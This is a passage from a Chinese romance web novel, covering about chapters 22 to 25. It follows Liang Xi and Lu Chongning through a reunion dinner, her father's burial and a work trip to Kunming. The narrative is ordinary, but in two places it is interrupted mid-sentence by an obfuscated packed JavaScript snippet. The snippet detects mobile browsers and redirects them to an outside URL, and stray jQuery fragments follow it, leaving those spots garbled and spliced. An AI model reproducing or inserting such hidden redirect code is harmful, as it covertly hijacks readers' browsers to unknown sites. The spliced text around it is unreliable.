提到杨姨,孟相帆有些伤感,望着路崇宁叹了口气,情绪刚顶上来突然听到梁喜说:“杨姨喜欢粉玫瑰。”
“啊?!”孟相帆看向路崇宁,“那...到底谁喜欢向日葵啊?净搞那些虚头八脑的浪漫。”
路崇宁将他一把拽到身后,对梁喜说:“我昨晚去火车站接的他,信航今天忙,晚上咱仨一起吃饭。”
梁喜没回答,那句“谁喜欢向日葵?”一直在她脑袋里回绕。
难不成路崇宁还喜欢她吗?又或者因为主动离开的愧疚,才有了后来不曾间断的盛开......
是啊,五年了,就算那时候他对梁喜有点喜欢,到底架不住分别这么久,时间慷慨,同样时间也冷酷,她不能既要又要。
孟相帆探出头,摸摸胡子,“你俩啥时候结婚?日子定了可得提前通知我,我有时候进山,十天八天出不来。”
梁喜感觉有个雷在耳边“嘭!”地炸开,这个孟相帆到底什么来头?当年谈恋爱的事竟然有第三人知道?梁喜一直以为保密工作做得很好,毕竟身边人没一个发现。
路崇宁目光闪躲,梁喜佯装镇定,对孟相帆说:“我不是他女朋友,不过你放心,他要结婚肯定告诉你。”
“走了。”路崇宁招手拦了一辆出租车,打开车门,把孟相帆推到前面副驾驶,虽然前后排,但堵不住嘴,他回头问梁喜,“我能叫你喜喜吗?”
“可以啊。”梁喜无所谓,反正身边熟悉的人都这么叫。
“不行。”
孟相帆和梁喜一齐看向路崇宁,“为什么?”
“不为什么,我说不行就不行,叫大名。”
梁喜拍拍孟相帆肩膀,“加个微信,回头我找你单聊。”
路崇宁:“......”
孟相帆非常乐意,两人当着路崇宁的面加完好友,车里瞬间安静,只剩下两个打字的人,还有一个无语的看客。
......
吃饭地方在一家商场三楼,路崇宁和梁喜把选择权交给孟相帆,他吭哧半天选了火锅。
这家商场刚开业没两年,吃喝玩乐什么都有,商场一楼正中央还摆了一台钢琴,梁喜来过几次,从没见人弹过,她一度怀疑那台钢琴是模型。
吃完饭从直梯出来,迎面正好看见那架钢琴,梁喜不禁想起初中时翘课去看路崇宁比赛的情景,那场比赛他拿了全市第三名,但后来梁喜再没听他弹过。
“梁喜。”孟相帆顺着梁喜视线看过去,“你会弹琴啊?”
“他会。”
梁喜偷摸指了下身旁的路崇宁。
被点名,路崇宁也看向钢琴,淡淡回道:“很久没弹了。”
孟相帆怂恿他,“整一个,助助兴。”
路崇宁继续往前走,“别让我丢人。”
孟相帆忽然小跑到执勤的保安面前,两人说了几句,他又跑回来跟路崇宁说:“可以弹,去吧,弹坏了算我的,我卡里好几万呢。”
梁喜和孟相帆站在一排,一起望着路崇宁,眼神充满期待。
无奈,路崇宁缓缓走过去,掀起琴盖,抬手轻轻落在琴键上,一首《梁祝》似流水般缓缓传入路人耳朵。
“谢谢我。”孟相帆骄傲地对梁喜说。
“干嘛谢你?”
“我知道你想听。”
“不想。”
孟相帆勾勾嘴角,一副看穿一切的笑,没往下说。
身旁陆续围了一圈听琴的人,或许小城里很少能看到这样的景象,都想凑个热闹,还有人拿出手机拍照,路崇宁只弹了一分钟便从钢琴旁离开。
一分钟,梁喜听得入迷,她甚至忽略了身旁噪杂的人群,脑子里满是那年她去看路崇宁比赛时的情景,过去与现在交叉,一晃很多年。
......
七点半,新闻联播刚结束的时间几人走回梁喜家。
等她上楼,路崇宁和孟相帆在楼下花坛边抽烟,他把u盘来龙去脉讲了一遍,但没说里面具体内容。
“小宁,你这边要没什么事明天我可回家了啊,刚接了个广,看完我爸妈要去新疆一趟。”
“回吧,正好我买了点吃的给叔叔阿姨寄去了,差不多明天到。”
孟相帆拍拍路崇宁肩膀,“谢了兄弟!”
“我该谢你才对。”
孟相帆裹了口烟,动作很业余,他没什么烟瘾,纯粹为了陪路崇宁抽,“你和梁喜怎么回事?”
“什么怎么回事?”
“吵架啦?还是分手了?”
路崇宁脸上闪过一阵被拆穿的局促和意外,“你听谁说的?”
孟相帆得意地扬着头,“嘁!我高中时候就知道,没拆穿你而已。”
“......”
“记得那会儿梁喜班里有个叫侯什么的追她,被梁喜拒绝那天你心情可好了。”
原来这小子一直在看戏,路崇宁不敢想象他到底看到了多少。
“说说吧,那么喜欢她,为啥分啊?”
路崇宁低头苦笑,“她把我甩了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268283|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“靠!甩你?”孟相帆眨眨眼,“是不是你耍脾气,惹梁喜不高兴了?”
“我在她面前没脾气。”
往事从眼前一道道闪过,“那你......”孟相帆明白路崇宁心里想什么,“现在还一起住方便吗?”
“如果不住一起,见她一面都难。”
“你小子真特么是情种啊!兄弟佩服。”
“佩服别人吧,我没什么好。”
孟相帆看着路崇宁,说:“你这张脸很难有小姑娘不喜欢。”
“梁喜看了二十多年,早看腻了,何况我也不怎么样。”
唉。
孟相帆自诩他很了解路崇宁,高中那几年两人在一个班,还是同桌,白天上课基本都在一起,他知道路崇宁家的变故,知道他喜欢的女孩子是谁,更知道他本可以拥有一个无限广阔的未来,后来什么都没有了。
去年孟相帆去北海道,顺路看了路崇宁,那时的他比现在状态好很多,能干活能吃饭,也长成了能够独挡一面的大人,可这次重逢,路崇宁身上好像背负了一些更沉重的东西,孟相帆感觉不太妙。
因为他一直没说解开的u盘里什么内容,一点想要倾诉的迹象都没有。
孟相帆晃晃手机,“放心,我刚才没和她说啥。”
“你说得还少吗?”
心虚一笑过后他满眼担忧,“小宁,你变了不少。”
“哪里?”
“糙了。”
“正常,再过十年你看我,我不仅糙,还会变老。”
“谁不会老,不老是妖精。”
孟相帆拍拍他肩膀,“回家吧,我也回宾馆睡觉了,最近没咋睡好。”
路崇宁到前面店里给孟相帆买了两瓶水,小宾馆不免费提供,在宾馆门口分别,路崇宁刚要进小区手机来了电话,一个男人声音,听起来年纪有点大,却感觉有点熟悉。
几句话过后路崇宁才得知,对方竟然是海鲜排挡老板。
挂断电话,他打车离开小区。
......
晚上路况好,出租车很快便开到排挡后门,路崇宁下车看见一个男人蹲在台阶上,身上的黑色外套与黑夜融为一体。
“小宁吧。”
男人好像腿麻了,撑着墙缓缓起身。
路崇宁一步三个台阶,走到跟前叫了声“张叔。”
“诶,你不在日本打工啦?”
“回来了。”
张叔揉揉腿,“店里好长时间没人,都是灰,就不进去了,咱俩在这说吧。”
“嗯。”路崇宁掏出烟盒往前递烟,张叔拒绝,说:“戒了,身体不好,闺女不让抽。”
路崇宁也没抽,把烟盒揣回去。
“昨天碰到信航,他说你回来有段时间了,但你一直没来找我,所以我必须来找你。”
路崇宁本能想到密码,他解释,“我来过,但排挡关门了。”
“我贴了出兑电话,你没看见啊?”
“我......在马路对面。”
路崇宁后悔自己没走到跟前看。
“我当年打架斗殴被老梁抓过,在看守所呆了几天,这期间家里全是老梁帮我照料,所以他托我办的事我一定会办到。”
想起故人往事,张叔有些感慨,满面伤怀地看了路崇宁一眼,“老梁让我交给你一样东西,是一个密码,数字跟老梁身边亲近的人都无关,是我自己瞎拼凑的,只有我和老梁两个人知道。”
和魏哥不同,张叔没提任何条件,虽然路崇宁已经看到了u盘里的内容,但他还是很感谢张叔主动联系他。
之后聊起魏哥的砂锅店,张叔说:“人要是沾赌啊,这辈子就废了。”
“你也知道?”
“我们那群朋友都知道,老梁生前还劝过他,不管用,他那个小店从他爸那辈开始经营,到他手里算断根了。”
张叔说着把一张纸条塞给路崇宁,“我不知道这个密码有什么用,既然老梁让我保密,我肯定守口如瓶,今天交给你,我的任务就完成了,对了,这段时间有没有一个女人联系喜喜?”
路崇宁摇头,他没见过,或许有吧,但梁喜没告诉他。
“老梁女朋友没去葬礼,我挺为老梁寒心的。”
“女朋友?”
不止是普通女人那么简单了?
“哦,你们小辈不知道,老梁带她跟我吃过两次饭,那女的看着对老梁不错,谁知道老梁突然去世,她连面都没露,无情啊。”
“等我回家问一下喜喜。”
“我这个店明天出兑,下周我就要搬到省城跟我闺女和女婿生活了,以后你有时间过去给张叔打电话,咱爷俩一起吃顿饭。”
纸条在手心攥紧,路崇宁说:“谢谢张叔。”
“不用谢,以后生活上有啥困难随时找我,虽然我不算富裕,几万块钱拿得出手。”
“我上班了,能养活自己。”
“好,好,老梁把你当亲儿子看,照顾好你妹。”
“知道。”
就像梁辰义的托付一样,身边所有人都希望路崇宁能照顾好梁喜,以她哥的身份。
23. 第二十三章
周末,梁喜睡得晚起得也晚,十点多她迷迷糊糊听见客厅有人说话,起床光脚走出去,看见信航躺在椅子上悠闲吃冰棍儿,路崇宁坐在他旁边的地上抽烟,黑陶烟灰缸摆在腿边,里面有两小段青色烟灰。
“我的冰棍儿都有数,你提前跟我申请了吗?”
信航欠欠地舔了一口,“我说小宁怎么不吃呢,原来怕你收费。”
路崇宁把烟搁在烟灰缸边上,起身绕过梁喜走进她卧室,再出来时手里拎着浅粉色拖鞋,扔到她脚下又坐回去。
梁喜把鞋穿上,问信航:“你来干嘛?”
信航却扭头看向路崇宁,示意他来说。
“噢。”路崇宁正正身子,“我俩买了块墓地给梁叔,挑个日子让他下葬吧。”
梁喜实在没想到,“已经买了?”
“嗯。”
“怎么没提前跟我商量?”
路崇宁解释,“怕你不同意,如果你现在还不同意,这块墓地我可以给自己留着。”
信航附和,“我俩合葬。”
梁喜下意识朝路崇宁后背打了下,“说什么呢?”
她根本没用力,却把信航心疼够呛,他夸张地揉着路崇宁后背,问:“没打坏吧?要不要去医院看看?”
路崇宁笑笑,“没事。”
梁喜看向阳台的骨灰坛,算了,放家里也不是回事,每次看见总不免会想,她点头同意,“行,我告诉三叔一声。”
信航将冰棍杆嗦喽得贼干净才舍得扔进垃圾桶,“我爸妈找人算过了,后天是个好日子,你要觉得没问题就后天吧,咱们几个把事办了,让梁叔入土为安。”
既然是好日子,梁喜没有异议,“好。”
“洗个脸啊,大小姐,出去吃饭。”
梁喜撇撇嘴,“不洗。”
不仅不想洗脸,头发上快要脱落的皮筋也懒得扎,在信航面前怎样都无所谓,再有跟路崇宁住了这么长时间,两人从一开始互相躲避,到现在可以同在洗手间里刷牙洗脸,从前的习惯一点点捡回来,就连那道隔阂也在化解,梁喜更加不修边幅。
“天热,我想吃冷面。”她说。
路崇宁转头问信航,“冷面?”
“行啊,走着!”
信航一个鲤鱼打挺从躺椅上蹦起来,动作利落,果然练过就是不一样。
梁喜把皮筋撸下来,随便扎了个低马尾,换身衣服跟他俩出门,走到二楼时碰到一家门打开,出来一个人,生脸,应该是新租客。
三人陆续从门口经过,梁喜走在最后,听见那人站在门口跟屋里人说:“现在小年轻真开放,一个女的和两个男的住一起,我都看见好几回了。”
梁喜眼前万马奔腾,但她真懒得解释。
......
城里的下葬仪式比乡下简单很多,跟流水线一样,大同小异,高峰期连遗体告别仪式都要排队,家属们刚酝酿好情绪准备开哭的时候仪式已经结束了。
梁喜没告诉梁辰义那些朋友,之前火化时来看过已算仁至义尽,所以长辈只有信航爸妈和三叔知道,小辈就是她、路崇宁、信航,简简单单,没有哭闹,祥和又安宁。
梁辰义的墓碑离路召庆不远,信航告诉梁喜,他特意挑的,两人生前是挚友,死后也得常聚。
仪式结束后几个人找了家饭店吃点炒菜,三叔和民叔挨着路崇宁坐,一直跟他聊游乐场和周边的项目开发,唐姨则挨着梁喜,许是怕她心里不好受,一直陪她聊天。
话题不可避免地聊到恋爱上面,唐姨看了自己儿子一眼,小声问梁喜:“你和信航青梅竹马,不想进一步发展发展啊?”
梁喜没想到这茬能从五岁提到现在,“唐姨,我一直把信航当哥。”
不知怎地,唐姨的目光又掠过路崇宁,“两个这么好的小伙子你都当哥,那你喜欢啥样的?”
梁喜还真认真考虑了,“也没啥固定要求。”
唐姨叹口气,“你们仨都不找对象,不知道现在的孩子怎么想的,一个个都单着,我们那代人像你们这么大的时候孩子都上幼儿园了。”
梁喜知道唐姨为了她好,笑笑,“可能缘分没到。”
“缘分没到”四个字真是万能公式,可以为一切进度做开解,后面唐姨不再提这茬,说让梁喜改天给她做个招财进宝的摆件,她花钱买,白给不要,预算两三千,让梁喜看着做,等做好了她拿去给市场里其他摊主推荐。
除了路崇宁,别人应该不知道梁喜在工作室有提成的事,刚回来没多久,她想以学东西为主,赚钱的事往后放放,没想到唐姨这么捧场。
这顿饭路崇宁结的账,快吃完的时候梁喜去收银台,被收银员告诉说买完单了,人多,她不好跟路崇宁推来推去。
等回到家,梁喜要把钱转给他,“你干嘛偷偷买单?”
“家里办事,不好让外人花钱。”
梁喜一愣,正思考他是站在哪方立场时路崇宁又补一句:“你花和我花没区别。”
明明很正经的话却让梁喜莫名心跳加速,为这一瞬心动买单的人是路崇宁,受益的却是梁喜。
......
临去昆明前两天,梁喜得空在家里收拾东西,那边气温比化城热几度,但对夏季来说国内大部分地区都差不多。
衣服薄,不占地方,放完后行李箱还空着三分之一,再放点洗漱的东西就行了。
箱子盖上,梁喜转身看见路崇宁站在门外,手里端着水杯,喝完一口,问:“你几号走?”
“后天。”
路崇宁点点头,进屋掏出手机,打开购票软件,问:“哪班?”
“这个。”梁喜告诉完才反应过来,“干嘛?”
她觉得路崇宁在确认她具体什么时候不在家。
“我陪你去。”
“啊?”
梁喜站起来,手背贴上路崇宁额头,“说什么胡话?”
“你不是害怕坐飞机吗?”
“没事,忍忍就过去了。”
路崇宁没说什么,在手机点了几下,“我买完票了。”
梁喜以为他只是客套一下,没想到这么有速度,想阻拦都来不及。
“你确定要去?不上班吗?”
路崇宁捏着水杯转圈,“可以请假。”
梁喜嘴角快翘上天了还死犟,“你想好,老王和我都不会给你报销路费。”
“不用。”路崇宁又问:“中午的飞机,来得及吗?”
“老王让周靖哲送我去机场。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285398|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路崇宁欲言又止,其实有件事他一直没跟梁喜说,之前梁喜和周靖哲一起到光华送黑陶那次,他亲眼看见周靖哲从车上往下搬时将手中木盒重重摔在地上,而且是接连两个,怎么看都不像不小心。
路崇宁怕万一破损被刘俊华发现,所以才说他去给各个部门送笔筒,如果真碰着好私下处理,没想到阿布会直接跑去告诉老板,幸好刘俊华没说什么。
看着梁喜扑闪的大眼睛,路崇宁思虑再三还是选择不说。
“我去趟公司,把工作处理一下,晚上回来。”
“嗯。”
梁喜知道路崇宁今天休息,为了陪她出差还得加班,只是......他为什么这么执意?
.......
原本以为有人陪这一趟可以顺利一些,谁承想还没出发就遇了坎。
早上六点,梁喜给周靖哲发信息,问他出发了吗?他说出发了,没过两分钟又发信息说车坏了,小毛病,他能修好,梁喜有点着急,路崇宁却没说什么,拉着梁喜直接打车,没让周靖哲送。
“会不会不太好啊?”
梁喜怕周靖哲多想,有点过意不去。
路崇宁紧闭双眼,淡淡一句,“车坏了,跟你没关系。”
梁喜细琢磨,也是,要是赶不上飞机就不能按时参会,她跟老王不好交代,算了,等回来再说吧。
出租司机常跑机场方向高速,开得特别丝滑,比预计时间早到二十分钟,梁喜排队办理值机的时候信航打电话来,问她知不知道路崇宁忙什么呢,打电话不接,梁喜直接把手机塞给路崇宁。
他一愣,捏着手机“喂”了声,紧接着说:“我陪喜喜去昆明。”
“过两天,回来给你打电话。”
手机还给梁喜,她边往包里塞边说:“干脆你俩过得了。”
“那你怎么办?”
嗯?梁喜一愣。
随后安检、登机,梁喜心里祈祷这次能飞得平静点,可到某一段还是遇到了中度气流颠簸,她伏在前面椅背上,看着颤抖的机翼,尽量假装平静,别被路崇宁发觉,忽然他伸过手来,拉住梁喜,十指交叉,梁喜紧张得心跳加速,注意力被吸引到他那边,已经顾不上什么害不害怕了。
没一会儿舱内终于回归平静,梁喜紧张的心也跟着回落。
“好了。”她说。
“嗯。”
隔了好几秒路崇宁才缓缓抽回手,手心全是汗。
梁喜想说点什么打破气氛,可想来想去才憋出一句,“你怎么跟领导请假的?”
“实话实说。”
梁喜倒好奇他怎么个实话实说。
“我说陪我妹出差,她从小到大没出过远门。”
“你的意思怕我丢呗。”
“被拐卖也说不定。”
梁喜朝他大腿里侧掐了一把,路崇宁疼得“嘶”了一声,过道处的乘客闻声转头,瞪眼皱眉,可能以为梁喜在做什么不雅动作,她赶忙撤开,转手摸了两下路崇宁的头,企图用清新点的动作中和中和,以表清白。
“你摸小狗呢?”路崇宁倚着靠背斜睨她。
“手感差不多。”
梁喜笑着看向窗外,天色湛蓝明净,浮云绵延万里,又是一个晴天。
24-30
第24章 第二十四章 路崇宁在下,梁喜在上……
早就听说昆明四季如春, 夏天也不闷热,真正抵达之后才深有体会。
按照交流会的会议流程,抵达酒店后要在大堂签到, 主办方工作人员是位小姐姐, 她跟梁喜核对完名字,说:“你来得这么晚啊, 累了吧?”
“我从东北来的, 有点远。”
“东北?我特别喜欢那, 你东北哪里啊?”
“化城, 小地方。”
小姐姐的确没听过, 转而笑笑,见梁喜和路崇宁两个人,问:“这位帅哥是家属吗?”
梁喜点点头, “是。”
“家属可以跟你住一间,就不加收房费了。”
路崇宁刚要回绝,听梁喜问:“单开的话一间多少钱?”
“酒店跟我们的协议价是六百一晚,含早餐。”
六百?在化城都可以租一个月的单人小公寓了!
梁喜赶忙摆手, “不单开, 给我俩一个标间吧。”
路崇宁在梁喜身后双手插兜站着, 看向她的眼睛里若有所思, 他不能跳出来拒绝, 这样的相处机会对他来说绝无仅有, 或许以后也不会再有
梁喜低头签字,领礼品, 还不忘跟小姐姐道谢,弄完签到事宜她对路崇宁勾勾手,说:“走, 去前台办入住。”
她企图用忙碌掩盖刚才脱口而出的羞涩,更不敢和路崇宁对视。
办完入住到酒店房间,梁喜把行李箱推到墙边,赶紧给老王汇报行程,又跟他说发了什么资料,结束后一起带回去。
挂断电话,梁喜看见路崇宁躺在靠门那边床上,身体呈“大”字伸开,显得单人床有点小。
“你就睡这吧,房费太贵了。”
喉结上下动了动,他“嗯”一声。
孤男寡女共处一室,梁喜有点大气不敢出,各自安静一会儿,她问:“你饿吗?”
“不饿。”
吃了飞机餐,谈不上吃饱吧,只能说凑合。
路崇宁转过来,单手撑头,面朝梁喜,忽然对视,她有点不知所措,起身下床,直奔行李箱。
可在对视前她根本没想行李箱的事儿
输对密码,箱子打开,梁喜拿出吊带裙看了两秒又塞回去,改穿T恤。
“我去洗澡。”她说。
“嗯。”
梁喜很快洗完出来,换路崇宁进去,听着洗手间哗啦啦的水声,梁喜有点意乱情迷,她打开手机回复崔影消息,又看了会儿视频,正准备酝酿睡意的时候听见“嗡嗡”的声音,她腾地坐起来,蚊子?!
才听见声音转头就看不到了,梁喜四处找了半天才发现蚊子踪迹,在几近棚顶的位置,有点高。
从桌上拿了酒店的便签纸,掂掂分量应该可以拍死蚊子,她拽过一把椅子站上去,蚊子听到声音瞬间起飞,兜了一圈又飞回偏离原位几厘米的位置,这回梁喜不敢轻举妄动,慢慢举起手中卷成圆筒的便签纸,用力一打,蚊子没打到,反而飞得更高。
奶奶的!梁喜暗骂一声,踮起脚尖的同时听到洗手间门开的声音,她怕蚊子再次飞走,不确定瞄没瞄准,一棒子打过去,忽然脚下不稳,眼看要摔到地上时被路崇宁忽然抱住,两人一齐倒向床垫,路崇宁在下,梁喜在上,她在他怀里
床垫上下颤悠,梁喜和路崇宁对视着,好像在等谁先恢复理智。
腰上的手向上移动,路崇宁在她肩膀拍了拍,轻声说:“你比高中时重了不少。”
他的话适时破坏气氛,梁喜抬手要打,忽然门铃响了,门外有个女人的声音说:“你好,服务员。”
梁喜赶忙从路崇宁身上跨下去,走到门口开门。
“您好,请问房间没有蚊香液是吗?”
梁喜转头看向路崇宁,他也从床上爬起来,说:“是我要的,刚才没找到。”
“给您。”
“
谢谢。”
“不客气。”
梁喜接过,关门后又递给路崇宁。
他插到梁喜那边的插座,说:“放你床头吧,你招蚊子。”
“嗯。”
梁喜感觉有点热,把空调调低两度,风速也调到满格。
“蚊子打到了吗?”路崇宁问。
梁喜仰头看向刚才的地方,没看到任何痕迹,她摇摇头,“都怪你,把蚊子吓跑了。”
路崇宁挑挑眉,“是谁救了你?”
“床垫。”
这么说也不无道理,路崇宁笑笑,“睡觉吧,明早我叫你。”
梁喜钻进被窝,“我定闹钟了,你不用跟我起那么早。”
她闭上眼睛,睫毛忽闪,毫无困意,但要装装样子。
路崇宁把房间总控关掉,又把空调调到睡眠模式,这才回床上。
“路崇宁,我要是说梦话你别接茬。”
“你不说梦话。”
“”
笃定的语气,慢慢浸入长夜,梁喜转过身去,嘴角的笑意只增不减
第二天的会议八点半开始,梁喜七点起来的时候路崇宁已经醒了,他昨晚睡觉没脱衣服,掀开被子直接下床。
梁喜今早的洗漱速度比在家时慢了许多,等她洗完出来碰上路崇宁要进去,“你干嘛,再睡会儿呗。”
“不困。”
相比梁喜,路崇宁三两下便洗完了,换了套干净衣服,走到窗边打开窗户,坐在阳台榻榻米上边抽烟边看梁喜化妆。
很久没化有点手生,加上路崇宁在一旁,梁喜画眉的手有点不听使唤。
“你要出嫁吗?”
他吐了口烟,问得不咸不淡。
“出嫁不用自己化。”
“这么有经验?”
“”
梁喜实在难静心,索性拿化妆包去洗手间。
抽完烟,路崇宁倚着墙望向窗外发呆,外面是大片绿化及喷水池,目光所及之处清新养眼,果然贵有贵的道理。
化完妆,梁喜换上前几天买的改良旗袍,无袖挂脖款式,搭配薄款针织衫,既适合正式场合,日常也能穿。
她走到路崇宁跟前问,“怎么样?”
视线转回来,路崇宁看了看,转瞬又把头歪向窗外,“不怎么样。”
那就是好看,梁喜还不知道他嘛
“走,去吃早饭。”
听到梁喜招呼,路崇宁慢慢起身,又看了一眼她的裙子,“你确定是去参加学术交流会吗?”
有点过于漂亮了
“不然呢?”
拿上房卡,梁喜先一步出门按电梯
交流会到四点半结束,梁喜严重怀疑主办方不想供晚饭,所以掐在饭点前结束会议,不过午餐还算丰盛,中午吃饭的时候她给路崇宁发信息,问他在哪,他发来一张照片,说在酒店附近的公园喂鸽子。
梁喜看完哭笑不得,“怎么不去景点逛逛?”
“怕你找不到我。”
“我不找你。”
路崇宁没再回。
这次参会人数将近一百,全国各地哪都有,散会后梁喜随着人流走出会场,刚走出十米,一只胳膊拦住她去路。
“你好。”
“啊,你好,你是?”
“我坐你旁边,不记得啊?”
说话的男人穿着Polo衫,戴着银边眼镜,长相斯文,梁喜仔细打量,貌似有点印象,主办方给每个参会的人都打印了名牌放在桌前,这男人朝她借过笔,梁喜一扫而过记得他名字,叫“许京平”
“有事吗?”
许京平侧身给身旁人让路,梁喜也觉得自己有点碍事,随他站到一旁。
“梁喜是吧?”
“我是梁喜。”
“我叫许京平。”
“嗯。”梁喜点头,“我知道。”
许京平拿出一张名片,“我看你在黑陶方面见解挺独到的,能不能加个联系方式,交流一下技艺。”
这年头还用名片的人实不多见,梁喜看他眼神很正,不像那动歪心思的,而且来参加这个会议的都是全国各地的黑陶手艺人,她很乐意交流技艺。
“我给你电话还是”
“噢。”许京平收起名片,“加微信吧,我扫你。”
“好。”
两人加完微信,许京平问:“你是哪里人啊?”
“化城,小地方,你呢?”
“化城?你们那黑陶很有名。”
被陌生人夸奖家乡,梁喜心里觉得很骄傲,但面上还得装,她脸上浮现一阵欣喜的羞涩,“我师父厉害。”
“王兴印先生吗?”
“是。”
许京平的眼睛一下亮了,“他确实厉害。”
“喜喜。”梁喜闻声扭头,看见路崇宁逆着人流走过来。
“你怎么来了?”
路崇宁闭口不答,而是看着许京平。
梁喜给许京平介绍,“我哥,他陪我来的。”
“你好,许京平。”
“你好,路崇宁。”
两只手简单一握,礼貌客气。
松开手,许京平问梁喜,“不是亲哥吧?”
要在平时梁喜随口一答,可她被许京平和路崇宁同时直视的眼神搞得莫名紧张,只得尴尬笑笑,“我们先走了,再见。”
“再见。”
走出酒店,梁喜问路崇宁,“你怎么过来了?”
他板着个脸,“接你。”
“终于结束了,晚上想吃什么?请你吃。”
路崇宁不答反问:“你怎么随便加陌生人微信?一点安全意识没有吗?”
梁喜愣住,“技艺交流啊,再说他是一起参会的人,能把我怎么样,你多虑了。”
路崇宁闷头往前走,走出一段发现速度太快,又停下来等。
梁喜这才反应过来,路崇宁是不是看她和许京平说话不高兴了?
她快走几步追上,“我饿了,你陪我吃。”
梁喜说完看见前面有个铁炉子立在墙边,隐隐冒着青烟,一位老奶奶站在炉子前,用戴手套的手给土豆翻面,炉子边上还有几个玻璃罐调料,散发着神秘气息。
闻着香味,梁喜脚底打转,不自禁走过去,说:“我要两个土豆。”
“四块,辣椒吃吗?”
梁喜看一眼路崇宁,他叼着烟,皱眉紧盯同样冒烟的炉子,貌似在思考这玩意儿能不能好吃。
梁喜对老奶奶说:“不放辣椒。”
“稍等。”
梁喜这边付完钱,老奶奶在几个土豆上面捏了捏,挑出两个中意的,拿刀劈开,打开罐子,用小勺挖了几下,洒在土豆中间,到最后一罐,老奶奶又抬头问:“折耳根要吗?”
梁喜好奇心上来,“一份放一份不放。”
老奶奶把两份土豆递给梁喜,她将没有折耳根那份给路崇宁,“尝尝,好吃再来。”
他接过去,掐灭烟,边走边吃。
只是梁喜这边刚咬一口,连带几块折耳根下肚,她满脸痛苦,尤其是每呼吸一下,都有一股怪怪的味道弥散开来。
“不好吃吗?”
梁喜快哭了,但嘴硬,“好吃。”
路崇宁无奈摇头,“给我吧。”
“别了。”
路崇宁二话不说跟梁喜对调,一口接一口把土豆全部吃完。
梁喜属实没想到路崇宁一个东北人会喜欢吃折耳根。
“你爱吃啊?”
“不爱吃。”
“那你刚才不早说”
他视线下移,“以后别给陌生人联系方式。”
嗯?怎么又绕回来了?
第25章 第二十五章 妈的,身材确实好。……
这次出差算上路程一共三天, 本来梁喜想等会议结束后在昆明逛一逛,考虑路崇宁请假出来,忙完便立马返程了。
开会发了一堆学习资料, 幸好路崇宁跟着, 除了帮梁喜克服恐机,还是个好劳力, 要不然这些资料沉得像板砖, 一个人拿肯定累死。
早上上班, 梁喜要把资料带到工作室, 在家用绳子捆好装到一个箱子里, 骑自行车不方便,只能打车过去,工作室二楼有个小库房专门放黑陶的相关资料, 供大家有空时学习,到了之后梁喜把纸箱放到库房一角,下楼等老王
来好跟他汇报工作。
一忙起来梁喜就把资料的事儿忘脑后了,还是周靖哲提起, 说工作室有规定, 不管谁出门学习, 回来都要开会交流一下心得, 起码带回来的资料需要给大家看看, 梁喜让他帮忙从二楼搬下来, 午休过后几个人围在一圈翻看。
老王扒拉几下,问梁喜:“是不是有一本讲多彩黑陶的?”
“有。”
桌上拿出来的几本里没看见, 梁喜又去箱子里翻找,还是没有怎么回事儿?
“不会弄丢了吧?”周靖哲也过来跟着一起翻,可把所有资料挨个看了一遍都没找到, 老王见梁喜急得不行,说:“没事,回头我让那边人再寄过来几本,咱们先看别的。”
虽然梁喜心里过意不去,但她确实记得所有资料都拿过来了,根本不存在丢,正当她回想早上出门的过程时被另外两个姐姐的说话声打断,老王让她过来一起看,梁喜只好等下班回家再找找
中午,信航忽然打电话来,说找梁喜吃饭,两人去了之前梁喜和路崇宁常吃的那家菜馆,点的锅包肉和大拌菜,今天他话不多,和平常相比简直少言寡语。
梁喜问他:“怎么想起找我?”
“路过,吃个饭。”信航给梁喜夹了一块锅包肉,“多吃点,最近又瘦了。”
梁喜低头摸摸肚子,“还行,没瘦几斤,我在工作室经验最少,得多用功。”
“红参喝完了吗?”
“还有一盒。”
“小宁跟你去昆明啦?”
话题转得好快“你不是知道吗?”
“事先没听你说呢,早知道我也请假跟你俩一起去了,还能玩一玩。”
梁喜笑笑,“他临时决定的,一共就待两天,啥也没玩,我白天参会,路崇宁自己找地方溜达,我除了会场哪都没去。”
她两口吃掉锅包肉,酸酸甜甜,就是肉片有点薄。
“信航。”梁喜也夹块肉给他,“出什么事了吗?”
“没事啊。”
他笑着擦擦嘴,把纸巾揉成团,可他晃动的眼神根本就是撒谎。
“要是有事跟我说。”
“嗯。”
信航后面一直吃饭,满满一碗吃完他放下筷子,说:“我回队里了,最近有点忙,改天再来看你。”
可能碰到什么棘手案子了吧,梁喜不好追问,跟信航在饭店门口分开
晚上回家,梁喜拿着电蚊拍四处“勘探”,弓着身子小心翼翼,像鬼子进村了一样。
吃饭的时候她看见一只蚊子,目前还没找着,不把它弄死什么都干不了。
目标貌似飞到门口,梁喜垫脚轻声走过去刚要拍,门突然开了,路崇宁从外面进来,吓了一跳。
“干嘛?”
“打蚊子。”
梁喜赶紧收手,怕上次在昆明酒店那一幕再次上演,脚下可没有床垫可以躺
“吃饭了吗?”
“吃了。”
路崇宁换鞋回卧室。
梁喜发现他今天走路尤其慢,弯腰拿鞋也慢悠悠的,她跟过去,推开门,“怎么了?不舒服吗?”
“没有。”
梁喜还盯着他看,路崇宁只得实话实说:“去项目的时候不小心蹭了一下。”
准确说是被同事撞到,后背磕到了停在一旁的翻土车
“哪?”梁喜上下看看,没找到伤口。
